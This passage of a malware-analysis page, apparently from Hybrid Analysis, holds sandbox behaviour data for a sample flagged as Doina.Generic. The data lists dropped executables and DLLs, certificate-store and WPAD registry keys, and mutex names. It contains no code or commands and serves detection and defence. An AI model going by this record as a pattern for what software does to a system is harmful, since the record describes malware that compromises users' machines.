Files\\Content.IE5\\EKCX8E9R\\xO50QoO[1].exe","sources":[{"report_type":"sandbox","report_id":"68c5a885f97280cbf90a601a"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\Windows\\Temporary Internet Files\\Content.IE5\\TBFHKZCA\\v3434[1].exe","sources":[{"report_type":"sandbox","report_id":"68c5a885f97280cbf90a601a"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\Windows\\Temporary Internet Files\\Content.IE5\\OX8EQCT0\\ojjvpn1[1].exe","sources":[{"report_type":"sandbox","report_id":"68c5a885f97280cbf90a601a"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\Windows\\Temporary Internet Files\\Content.IE5\\CP53U0VR\\YqShJwS[1].exe","sources":[{"report_type":"sandbox","report_id":"68c5a885f97280cbf90a601a"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\Windows\\Temporary Internet Files\\Content.IE5\\3IQVUB7J\\jSR21kp[1].exe","sources":[{"report_type":"sandbox","report_id":"68c5a885f97280cbf90a601a"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\Windows\\Temporary Internet Files\\Content.IE5\\3K0JAKI5\\NjtIeMV[1].exe","sources":[{"report_type":"sandbox","report_id":"68c5a885f97280cbf90a601a"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\Windows\\Temporary Internet Files\\Content.IE5\\V8IO49DI\\2c8FJYQ[1].exe","sources":[{"report_type":"sandbox","report_id":"68c5a885f97280cbf90a601a"}]},{"path":"%TEMP%\\10734390101\\aa922d9843.exe","sources":[{"report_type":"sandbox","report_id":"68c5a885f97280cbf90a601a"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\Windows\\Temporary Internet Files\\Content.IE5\\ZAC5QEAJ\\random[1].exe","sources":[{"report_type":"sandbox","report_id":"68c5a885f97280cbf90a601a"}]},{"path":"%TEMP%\\RarSFX0\\__tmp_rar_sfx_access_check_910944250","sources":[{"report_type":"sandbox","report_id":"68c5a885f97280cbf90a601a"}]},{"path":"%TEMP%\\svcC7C2.tmp","sources":[{"report_type":"sandbox","report_id":"68c5a885f97280cbf90a601a"}]},{"path":"\\DEVICE\\NETBT_TCPIP_{846EE342-7039-11DE-9D20-806E6F6E6963}","sources":[{"report_type":"sandbox","report_id":"68c5a885f97280cbf90a601a"}]},{"path":"\\DEVICE\\NETBT_TCPIP_{ED96540E-2A67-4E8C-A7A6-534E97BE25C0}","sources":[{"report_type":"sandbox","report_id":"68c5a885f97280cbf90a601a"}]},{"path":"C:\\TEMP\\UPDATECACHE","sources":[{"report_type":"sandbox","report_id":"68c5a885f97280cbf90a601a"}]},{"path":"C:\\TEMP\\UPDATECACHE\\CACHE.TMP","sources":[{"report_type":"sandbox","report_id":"68c5a885f97280cbf90a601a"}]},{"path":"%WINDIR%\\Temp\\config.ini","sources":[{"report_type":"sandbox","report_id":"68c5a885f97280cbf90a601a"}]},{"path":"%TEMP%\\svcD2E9.tmp","sources":[{"report_type":"sandbox","report_id":"68c5a885f97280cbf90a601a"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\Windows\\Temporary Internet Files\\Content.IE5\\P6QSO9MS\\text[1]","sources":[{"report_type":"sandbox","report_id":"68c5a885f97280cbf90a601a"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\Windows\\Temporary Internet Files\\Content.IE5\\2M2KC0IU\\success[1].htm","sources":[{"report_type":"sandbox","report_id":"68c5a885f97280cbf90a601a"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\Windows\\Temporary Internet Files\\Content.IE5\\EKCX8E9R\\info[1].htm","sources":[{"report_type":"sandbox","report_id":"68c5a885f97280cbf90a601a"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\Windows\\Temporary Internet Files\\Content.IE5\\TBFHKZCA\\fuckingdllENCR[1].dll","sources":[{"report_type":"sandbox","report_id":"68c5a885f97280cbf90a601a"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\Windows\\Temporary Internet Files\\Content.IE5\\OX8EQCT0\\service[1].htm","sources":[{"report_type":"sandbox","report_id":"68c5a885f97280cbf90a601a"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\Windows\\Temporary Internet Files\\Content.IE5\\CP53U0VR\\service[1].htm","sources":[{"report_type":"sandbox","report_id":"68c5a885f97280cbf90a601a"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\Windows\\Temporary Internet Files\\Content.IE5\\CP53U0VR\\dll[1]","sources":[{"report_type":"sandbox","report_id":"68c5a885f97280cbf90a601a"}]},{"path":"%TEMP%\\zBJFNeANRfWe05AA36euE48dR43f\\Bunifu_UI_v1.5.3.dll","sources":[{"report_type":"sandbox","report_id":"68c5a885f97280cbf90a601a"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\Windows\\Temporary Internet Files\\Content.IE5\\3IQVUB7J\\soft[1]","sources":[{"report_type":"sandbox","report_id":"68c5a885f97280cbf90a601a"}]},{"path":"%TEMP%\\zBJFNeANRfWe05AA36euE48dR43f\\YCL.exe","sources":[{"report_type":"sandbox","report_id":"68c5a885f97280cbf90a601a"}]},{"path":"%USERPROFILE%\\Desktop\\YCL.lnk","sources":[{"report_type":"sandbox","report_id":"68c5a885f97280cbf90a601a"}]}],"files_deleted":null},"registry_activity":{"keys_created":[{"key":"HKCUHKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\INTERNET SETTINGS\\ZONEMAP\\\\","sources":[{"report_type":"sandbox","report_id":"68c3574493fe289d6905879d"},{"report_type":"sandbox","report_id":"68c5a88513067041460f88b0"}]},{"key":"HKLMHKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\TIMEZONEINFORMATION\\","sources":[{"report_type":"sandbox","report_id":"68c3574493fe289d6905879d"},{"report_type":"sandbox","report_id":"68c5a88590e87775fc0378a8"},{"report_type":"sandbox","report_id":"68c5a88513067041460f88b0"},{"report_type":"sandbox","report_id":"68c5a885f97280cbf90a601a"}]},{"key":"HKLMHKLM\\SYSTEM\\CONTROLSET001\\SERVICES\\TCPIP\\PARAMETERS\\","sources":[{"report_type":"sandbox","report_id":"68c5a885489928c8d50b2922"},{"report_type":"sandbox","report_id":"68c5a88590e87775fc0378a8"},{"report_type":"sandbox","report_id":"68c5a885f97280cbf90a601a"}]},{"key":"HKCUHKCU\\SOFTWARE\\MICROSOFT\\SYSTEMCERTIFICATES\\MY\\","sources":[{"report_type":"sandbox","report_id":"68c5a88590e87775fc0378a8"},{"report_type":"sandbox","report_id":"68c5a885f97280cbf90a601a"}]},{"key":"HKCUHKCU\\SOFTWARE\\MICROSOFT\\SYSTEMCERTIFICATES\\CA\\","sources":[{"report_type":"sandbox","report_id":"68c5a88590e87775fc0378a8"},{"report_type":"sandbox","report_id":"68c5a885f97280cbf90a601a"}]},{"key":"HKCUHKCU\\SOFTWARE\\MICROSOFT\\SYSTEMCERTIFICATES\\CA\\CERTIFICATES\\","sources":[{"report_type":"sandbox","report_id":"68c5a88590e87775fc0378a8"},{"report_type":"sandbox","report_id":"68c5a885f97280cbf90a601a"}]},{"key":"HKCUHKCU\\SOFTWARE\\MICROSOFT\\SYSTEMCERTIFICATES\\CA\\CRLS\\","sources":[{"report_type":"sandbox","report_id":"68c5a88590e87775fc0378a8"},{"report_type":"sandbox","report_id":"68c5a885f97280cbf90a601a"}]},{"key":"HKCUHKCU\\SOFTWARE\\MICROSOFT\\SYSTEMCERTIFICATES\\CA\\CTLS\\","sources":[{"report_type":"sandbox","report_id":"68c5a88590e87775fc0378a8"},{"report_type":"sandbox","report_id":"68c5a885f97280cbf90a601a"}]},{"key":"HKCUHKCU\\SOFTWARE\\POLICIES\\MICROSOFT\\SYSTEMCERTIFICATES\\CA\\","sources":[{"report_type":"sandbox","report_id":"68c5a88590e87775fc0378a8"},{"report_type":"sandbox","report_id":"68c5a885f97280cbf90a601a"}]},{"key":"HKCUHKCU\\SOFTWARE\\POLICIES\\MICROSOFT\\SYSTEMCERTIFICATES\\CA\\CERTIFICATES\\","sources":[{"report_type":"sandbox","report_id":"68c5a88590e87775fc0378a8"},{"report_type":"sandbox","report_id":"68c5a885f97280cbf90a601a"}]},{"key":"HKCUHKCU\\SOFTWARE\\POLICIES\\MICROSOFT\\SYSTEMCERTIFICATES\\CA\\CRLS\\","sources":[{"report_type":"sandbox","report_id":"68c5a88590e87775fc0378a8"},{"report_type":"sandbox","report_id":"68c5a885f97280cbf90a601a"}]},{"key":"HKCUHKCU\\SOFTWARE\\POLICIES\\MICROSOFT\\SYSTEMCERTIFICATES\\CA\\CTLS\\","sources":[{"report_type":"sandbox","report_id":"68c5a88590e87775fc0378a8"},{"report_type":"sandbox","report_id":"68c5a885f97280cbf90a601a"}]},{"key":"HKLMHKLM\\SOFTWARE\\MICROSOFT\\SYSTEMCERTIFICATES\\CA\\","sources":[{"report_type":"sandbox","report_id":"68c5a88590e87775fc0378a8"},{"report_type":"sandbox","report_id":"68c5a885f97280cbf90a601a"}]},{"key":"HKLMHKLM\\SOFTWARE\\MICROSOFT\\SYSTEMCERTIFICATES\\CA\\CERTIFICATES\\","sources":[{"report_type":"sandbox","report_id":"68c5a88590e87775fc0378a8"},{"report_type":"sandbox","report_id":"68c5a885f97280cbf90a601a"}]},{"key":"HKLMHKLM\\SOFTWARE\\MICROSOFT\\SYSTEMCERTIFICATES\\CA\\CRLS\\","sources":[{"report_type":"sandbox","report_id":"68c5a88590e87775fc0378a8"},{"report_type":"sandbox","report_id":"68c5a885f97280cbf90a601a"}]},{"key":"HKLMHKLM\\SOFTWARE\\MICROSOFT\\SYSTEMCERTIFICATES\\CA\\CTLS\\","sources":[{"report_type":"sandbox","report_id":"68c5a88590e87775fc0378a8"},{"report_type":"sandbox","report_id":"68c5a885f97280cbf90a601a"}]},{"key":"HKLMHKLM\\SOFTWARE\\POLICIES\\MICROSOFT\\SYSTEMCERTIFICATES\\CA\\","sources":[{"report_type":"sandbox","report_id":"68c5a88590e87775fc0378a8"},{"report_type":"sandbox","report_id":"68c5a885f97280cbf90a601a"}]},{"key":"HKLMHKLM\\SOFTWARE\\POLICIES\\MICROSOFT\\SYSTEMCERTIFICATES\\CA\\CERTIFICATES\\","sources":[{"report_type":"sandbox","report_id":"68c5a88590e87775fc0378a8"},{"report_type":"sandbox","report_id":"68c5a885f97280cbf90a601a"}]},{"key":"HKLMHKLM\\SOFTWARE\\POLICIES\\MICROSOFT\\SYSTEMCERTIFICATES\\CA\\CRLS\\","sources":[{"report_type":"sandbox","report_id":"68c5a88590e87775fc0378a8"},{"report_type":"sandbox","report_id":"68c5a885f97280cbf90a601a"}]},{"key":"HKLMHKLM\\SOFTWARE\\POLICIES\\MICROSOFT\\SYSTEMCERTIFICATES\\CA\\CTLS\\","sources":[{"report_type":"sandbox","report_id":"68c5a88590e87775fc0378a8"},{"report_type":"sandbox","report_id":"68c5a885f97280cbf90a601a"}]},{"key":"HKLMHKLM\\SOFTWARE\\MICROSOFT\\ENTERPRISECERTIFICATES\\CA\\","sources":[{"report_type":"sandbox","report_id":"68c5a88590e87775fc0378a8"},{"report_type":"sandbox","report_id":"68c5a885f97280cbf90a601a"}]},{"key":"HKLMHKLM\\SOFTWARE\\MICROSOFT\\ENTERPRISECERTIFICATES\\CA\\CERTIFICATES\\","sources":[{"report_type":"sandbox","report_id":"68c5a88590e87775fc0378a8"},{"report_type":"sandbox","report_id":"68c5a885f97280cbf90a601a"}]},{"key":"HKLMHKLM\\SOFTWARE\\MICROSOFT\\ENTERPRISECERTIFICATES\\CA\\CRLS\\","sources":[{"report_type":"sandbox","report_id":"68c5a88590e87775fc0378a8"},{"report_type":"sandbox","report_id":"68c5a885f97280cbf90a601a"}]},{"key":"HKLMHKLM\\SOFTWARE\\MICROSOFT\\ENTERPRISECERTIFICATES\\CA\\CTLS\\","sources":[{"report_type":"sandbox","report_id":"68c5a88590e87775fc0378a8"},{"report_type":"sandbox","report_id":"68c5a885f97280cbf90a601a"}]},{"key":"HKCUHKCU\\SOFTWARE\\MICROSOFT\\SYSTEMCERTIFICATES\\DISALLOWED\\","sources":[{"report_type":"sandbox","report_id":"68c5a88590e87775fc0378a8"},{"report_type":"sandbox","report_id":"68c5a885f97280cbf90a601a"}]},{"key":"HKCUHKCU\\SOFTWARE\\MICROSOFT\\SYSTEMCERTIFICATES\\DISALLOWED\\CERTIFICATES\\","sources":[{"report_type":"sandbox","report_id":"68c5a88590e87775fc0378a8"},{"report_type":"sandbox","report_id":"68c5a885f97280cbf90a601a"}]},{"key":"HKCUHKCU\\SOFTWARE\\MICROSOFT\\SYSTEMCERTIFICATES\\DISALLOWED\\CRLS\\","sources":[{"report_type":"sandbox","report_id":"68c5a88590e87775fc0378a8"},{"report_type":"sandbox","report_id":"68c5a885f97280cbf90a601a"}]},{"key":"HKCUHKCU\\SOFTWARE\\MICROSOFT\\SYSTEMCERTIFICATES\\DISALLOWED\\CTLS\\","sources":[{"report_type":"sandbox","report_id":"68c5a88590e87775fc0378a8"},{"report_type":"sandbox","report_id":"68c5a885f97280cbf90a601a"}]},{"key":"HKCUHKCU\\SOFTWARE\\POLICIES\\MICROSOFT\\SYSTEMCERTIFICATES\\DISALLOWED\\","sources":[{"report_type":"sandbox","report_id":"68c5a88590e87775fc0378a8"},{"report_type":"sandbox","report_id":"68c5a885f97280cbf90a601a"}]},{"key":"HKCUHKCU\\SOFTWARE\\POLICIES\\MICROSOFT\\SYSTEMCERTIFICATES\\DISALLOWED\\CERTIFICATES\\","sources":[{"report_type":"sandbox","report_id":"68c5a88590e87775fc0378a8"},{"report_type":"sandbox","report_id":"68c5a885f97280cbf90a601a"}]},{"key":"HKCUHKCU\\SOFTWARE\\POLICIES\\MICROSOFT\\SYSTEMCERTIFICATES\\DISALLOWED\\CRLS\\","sources":[{"report_type":"sandbox","report_id":"68c5a88590e87775fc0378a8"},{"report_type":"sandbox","report_id":"68c5a885f97280cbf90a601a"}]},{"key":"HKCUHKCU\\SOFTWARE\\POLICIES\\MICROSOFT\\SYSTEMCERTIFICATES\\DISALLOWED\\CTLS\\","sources":[{"report_type":"sandbox","report_id":"68c5a88590e87775fc0378a8"},{"report_type":"sandbox","report_id":"68c5a885f97280cbf90a601a"}]},{"key":"HKLMHKLM\\SOFTWARE\\MICROSOFT\\SYSTEMCERTIFICATES\\DISALLOWED\\","sources":[{"report_type":"sandbox","report_id":"68c5a88590e87775fc0378a8"},{"report_type":"sandbox","report_id":"68c5a885f97280cbf90a601a"}]},{"key":"HKLMHKLM\\SOFTWARE\\MICROSOFT\\SYSTEMCERTIFICATES\\DISALLOWED\\CERTIFICATES\\","sources":[{"report_type":"sandbox","report_id":"68c5a88590e87775fc0378a8"},{"report_type":"sandbox","report_id":"68c5a885f97280cbf90a601a"}]},{"key":"HKLMHKLM\\SOFTWARE\\MICROSOFT\\SYSTEMCERTIFICATES\\DISALLOWED\\CRLS\\","sources":[{"report_type":"sandbox","report_id":"68c5a88590e87775fc0378a8"}]},{"key":"HKLMHKLM\\SOFTWARE\\MICROSOFT\\SYSTEMCERTIFICATES\\DISALLOWED\\CTLS\\","sources":[{"report_type":"sandbox","report_id":"68c5a88590e87775fc0378a8"}]},{"key":"HKLMHKLM\\SOFTWARE\\POLICIES\\MICROSOFT\\SYSTEMCERTIFICATES\\DISALLOWED\\","sources":[{"report_type":"sandbox","report_id":"68c5a88590e87775fc0378a8"}]},{"key":"HKLMHKLM\\SOFTWARE\\POLICIES\\MICROSOFT\\SYSTEMCERTIFICATES\\DISALLOWED\\CERTIFICATES\\","sources":[{"report_type":"sandbox","report_id":"68c5a88590e87775fc0378a8"}]},{"key":"HKLMHKLM\\SOFTWARE\\POLICIES\\MICROSOFT\\SYSTEMCERTIFICATES\\DISALLOWED\\CRLS\\","sources":[{"report_type":"sandbox","report_id":"68c5a88590e87775fc0378a8"}]},{"key":"HKLMHKLM\\SOFTWARE\\POLICIES\\MICROSOFT\\SYSTEMCERTIFICATES\\DISALLOWED\\CTLS\\","sources":[{"report_type":"sandbox","report_id":"68c5a88590e87775fc0378a8"}]},{"key":"HKLMHKLM\\SOFTWARE\\MICROSOFT\\ENTERPRISECERTIFICATES\\DISALLOWED\\","sources":[{"report_type":"sandbox","report_id":"68c5a88590e87775fc0378a8"}]},{"key":"HKLMHKLM\\SOFTWARE\\MICROSOFT\\ENTERPRISECERTIFICATES\\DISALLOWED\\CERTIFICATES\\","sources":[{"report_type":"sandbox","report_id":"68c5a88590e87775fc0378a8"}]},{"key":"HKLMHKLM\\SOFTWARE\\MICROSOFT\\ENTERPRISECERTIFICATES\\DISALLOWED\\CRLS\\","sources":[{"report_type":"sandbox","report_id":"68c5a88590e87775fc0378a8"}]},{"key":"HKLMHKLM\\SOFTWARE\\MICROSOFT\\ENTERPRISECERTIFICATES\\DISALLOWED\\CTLS\\","sources":[{"report_type":"sandbox","report_id":"68c5a88590e87775fc0378a8"}]},{"key":"HKCUHKCU\\SOFTWARE\\MICROSOFT\\SYSTEMCERTIFICATES\\ROOT\\","sources":[{"report_type":"sandbox","report_id":"68c5a88590e87775fc0378a8"}]},{"key":"HKCUHKCU\\SOFTWARE\\MICROSOFT\\SYSTEMCERTIFICATES\\ROOT\\CERTIFICATES\\","sources":[{"report_type":"sandbox","report_id":"68c5a88590e87775fc0378a8"}]},{"key":"HKCUHKCU\\SOFTWARE\\MICROSOFT\\SYSTEMCERTIFICATES\\ROOT\\CRLS\\","sources":[{"report_type":"sandbox","report_id":"68c5a88590e87775fc0378a8"}]},{"key":"HKCUHKCU\\SOFTWARE\\MICROSOFT\\SYSTEMCERTIFICATES\\ROOT\\CTLS\\","sources":[{"report_type":"sandbox","report_id":"68c5a88590e87775fc0378a8"}]},{"key":"HKLMHKLM\\SOFTWARE\\MICROSOFT\\SYSTEMCERTIFICATES\\ROOT\\","sources":[{"report_type":"sandbox","report_id":"68c5a88590e87775fc0378a8"}]},{"key":"HKLMHKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\SECURITYPROVIDERS\\SCHANNEL\\","sources":[{"report_type":"sandbox","report_id":"68c5a88590e87775fc0378a8"},{"report_type":"sandbox","report_id":"68c5a885f97280cbf90a601a"}]},{"key":"HKCUHKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\INTERNET SETTINGS\\WPAD\\","sources":[{"report_type":"sandbox","report_id":"68c5a88590e87775fc0378a8"},{"report_type":"sandbox","report_id":"68c5a885f97280cbf90a601a"}]},{"key":"HKCUHKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\INTERNET SETTINGS\\WPAD\\00-50-56-91-6F-71\\","sources":[{"report_type":"sandbox","report_id":"68c5a88590e87775fc0378a8"}]},{"key":"HKCUHKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\INTERNET SETTINGS\\WPAD\\{08736A26-4322-4611-A17D-C18C69F84928}\\00-50-56-91-6F-71\\","sources":[{"report_type":"sandbox","report_id":"68c5a88590e87775fc0378a8"}]},{"key":"HKLMHKLM\\SOFTWARE\\MICROSOFT\\WBEM\\CIMOM\\","sources":[{"report_type":"sandbox","report_id":"68c5a88590e87775fc0378a8"}]},{"key":"HKLMHKLM\\SOFTWARE\\POLICIES\\MICROSOFT\\WINDOWS\\TENANTRESTRICTIONS\\PAYLOAD\\","sources":[{"report_type":"sandbox","report_id":"68c5a88513067041460f88b0"}]},{"key":"HKCUHKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\INTERNET SETTINGS\\","sources":[{"report_type":"sandbox","report_id":"68c5a885f97280cbf90a601a"}]},{"key":"HKCUHKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\INTERNET SETTINGS\\WPAD\\{F25598B5-0E5E-4BC3-91F2-D8336752B11F}\\","sources":[{"report_type":"sandbox","report_id":"68c5a885f97280cbf90a601a"}]},{"key":"HKCUHKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\INTERNET SETTINGS\\WPAD\\00-50-56-91-93-00\\","sources":[{"report_type":"sandbox","report_id":"68c5a885f97280cbf90a601a"}]},{"key":"HKCUHKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\INTERNET SETTINGS\\WPAD\\{F25598B5-0E5E-4BC3-91F2-D8336752B11F}\\00-50-56-91-93-00\\","sources":[{"report_type":"sandbox","report_id":"68c5a885f97280cbf90a601a"}]}],"keys_modified":null,"keys_deleted":[{"key":"HKCUHKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\INTERNET SETTINGS\\WPAD\\{F25598B5-0E5E-4BC3-91F2-D8336752B11F}\\WPADDETECTEDURL\\WPADDETECTEDURL","sources":[{"report_type":"sandbox","report_id":"68c5a885f97280cbf90a601a"}]},{"key":"HKCUHKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\INTERNET SETTINGS\\WPAD\\00-50-56-91-93-00\\WPADDETECTEDURL\\WPADDETECTEDURL","sources":[{"report_type":"sandbox","report_id":"68c5a885f97280cbf90a601a"}]}]},"mutex_activity":{"mutex_created":[{"name":"\\BaseNamedObjects\\SyncRootManager","sources":[{"report_type":"sandbox","report_id":"68c3574493fe289d6905879d"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\SM0:6528:64:WilError_01","sources":[{"report_type":"sandbox","report_id":"68c3574493fe289d6905879d"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\SM0:6528:168:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"68c3574493fe289d6905879d"}]},{"name":"Local\\SM0:6528:168:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"68c3574493fe289d6905879d"}]},{"name":"Local\\SM0:6528:64:WilError_01","sources":[{"report_type":"sandbox","report_id":"68c3574493fe289d6905879d"}]},{"name":"SM0:6528:64:WilError_01","sources":[{"report_type":"sandbox","report_id":"68c3574493fe289d6905879d"}]},{"name":"Local\\ZonesCacheCounterMutex","sources":[{"report_type":"sandbox","report_id":"68c3574493fe289d6905879d"},{"report_type":"sandbox","report_id":"68c5a885489928c8d50b2922"},{"report_type":"sandbox","report_id":"68c5a88590e87775fc0378a8"},{"report_type":"sandbox","report_id":"68c5a88513067041460f88b0"},{"report_type":"sandbox","report_id":"68c5a885f97280cbf90a601a"}]},{"name":"006700e5a2ab05704bbb0c589b88924d","sources":[{"report_type":"sandbox","report_id":"68c3574493fe289d6905879d"},{"report_type":"sandbox","report_id":"68c5a88513067041460f88b0"}]},{"name":"Local\\ZonesLockedCacheCounterMutex","sources":[{"report_type":"sandbox","report_id":"68c3574493fe289d6905879d"},{"report_type":"sandbox","report_id":"68c5a885489928c8d50b2922"},{"report_type":"sandbox","report_id":"68c5a88590e87775fc0378a8"},{"report_type":"sandbox","report_id":"68c5a88513067041460f88b0"},{"report_type":"sandbox","report_id":"68c5a885f97280cbf90a601a"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\006700e5a2ab05704bbb0c589b88924d","sources":[{"report_type":"sandbox","report_id":"68c3574493fe289d6905879d"},{"report_type":"sandbox","report_id":"68c5a885489928c8d50b2922"},{"report_type":"sandbox","report_id":"68c5a88590e87775fc0378a8"},{"report_type":"sandbox","report_id":"68c5a88513067041460f88b0"},{"report_type":"sandbox","report_id":"68c5a885f97280cbf90a601a"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\SM0:6528:64:WilError_01","sources":[{"report_type":"sandbox","report_id":"68c3574493fe289d6905879d"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\ZonesCacheCounterMutex","sources":[{"report_type":"sandbox","report_id":"68c3574493fe289d6905879d"},{"report_type":"sandbox","report_id":"68c5a885489928c8d50b2922"},{"report_type":"sandbox","report_id":"68c5a88590e87775fc0378a8"},{"report_type":"sandbox","report_id":"68c5a88513067041460f88b0"},{"report_type":"sandbox","report_id":"68c5a885f97280cbf90a601a"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\ZonesLockedCacheCounterMutex","sources":[{"report_type":"sandbox","report_id":"68c3574493fe289d6905879d"},{"report_type":"sandbox","report_id":"68c5a885489928c8d50b2922"},{"report_type":"sandbox","report_id":"68c5a88590e87775fc0378a8"},{"report_type":"sandbox","report_id":"68c5a88513067041460f88b0"},{"report_type":"sandbox","report_id":"68c5a885f97280cbf90a601a"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\DBWinMutex","sources":[{"report_type":"sandbox","report_id":"68c3574493fe289d6905879d"},{"report_type":"sandbox","report_id":"68c5a88590e87775fc0378a8"},{"report_type":"sandbox","report_id":"68c5a88513067041460f88b0"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\SM0:5828:168:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"68c3574493fe289d6905879d"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\SM0:5828:168:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"68c3574493fe289d6905879d"}]},{"name":"SM0:5828:168:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"68c3574493fe289d6905879d"}]},{"name":"DBWinMutex","sources":[{"report_type":"sandbox","report_id":"68c3574493fe289d6905879d"},{"report_type":"sandbox","report_id":"68c5a88590e87775fc0378a8"},{"report_type":"sandbox","report_id":"68c5a88513067041460f88b0"}]},{"name":"Local\\SM0:5828:168:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"68c3574493fe289d6905879d"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\MSCTF.Asm.{8af6545a-de59-eac4-88b8-fd3e445e11c7}","sources":[{"report_type":"sandbox","report_id":"68c5a88590e87775fc0378a8"},{"report_type":"sandbox","report_id":"68c5a885f97280cbf90a601a"}]},{"name":"MSCTF.Asm.{8af6545a-de59-eac4-88b8-fd3e445e11c7}","sources":[{"report_type":"sandbox","report_id":"68c5a88590e87775fc0378a8"},{"report_type":"sandbox","report_id":"68c5a885f97280cbf90a601a"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\SM0:4304:168:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"68c5a88513067041460f88b0"}]},{"name":"Local\\SM0:4304:64:WilError_03","sources":[{"report_type":"sandbox","report_id":"68c5a88513067041460f88b0"}]},{"name":"Local\\SM0:4304:168:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"68c5a88513067041460f88b0"}]},{"name":"SM0:4304:64:WilError_03","sources":[{"report_type":"sandbox","report_id":"68c5a88513067041460f88b0"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\SM0:4304:64:WilError_03","sources":[{"report_type":"sandbox","report_id":"68c5a88513067041460f88b0"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\SM0:4304:64:WilError_03","sources":[{"report_type":"sandbox","report_id":"68c5a88513067041460f88b0"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\SM0:8724:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"68c5a88513067041460f88b0"}]},{"name":"Local\\SM0:8724:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"68c5a88513067041460f88b0"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\SM0:6508:168:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"68c5a88513067041460f88b0"}]},{"name":"Local\\SM0:6508:168:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"68c5a88513067041460f88b0"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\SM0:5372:168:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"68c5a88513067041460f88b0"}]},{"name":"Local\\SM0:5372:168:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"68c5a88513067041460f88b0"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\SM0:4436:168:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"68c5a88513067041460f88b0"}]},{"name":"Local\\SM0:4436:168:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"68c5a88513067041460f88b0"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\SM0:7172:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"68c5a88513067041460f88b0"}]},{"name":"Local\\SM0:7172:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"68c5a88513067041460f88b0"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\SM0:1188:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"68c5a88513067041460f88b0"}]},{"name":"Local\\SM0:1188:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"68c5a88513067041460f88b0"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\SM0:4992:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"68c5a88513067041460f88b0"}]},{"name":"Local\\SM0:4992:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"68c5a88513067041460f88b0"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\5eea89f3f833dd7f4bef7f7e66badaf6","sources":[{"report_type":"sandbox","report_id":"68c5a885f97280cbf90a601a"}]},{"name":"5eea89f3f833dd7f4bef7f7e66badaf6","sources":[{"report_type":"sandbox","report_id":"68c5a885f97280cbf90a601a"}]}]}},"report_ids":{"sandbox_job_ids":["68c5a88513067041460f88b0","68c3574493fe289d6905879d","68c5a885f97280cbf90a601a","68c5a88590e87775fc0378a8","68c5a885489928c8d50b2922"]}}}]]}] 1e:null 22:[["$","title","0",{"children":"Malicious Doina.Generic Sample c36ed034d523… — Score 100/100 — Hybrid Analysis | Hybrid Analysis"}],["$","meta","1",{"name":"description","content":"Malicious verdict for sample c36ed034d523…. Malware family: Doina.Generic. Threat score 100/100. 20/27 AV engines flagged this file. 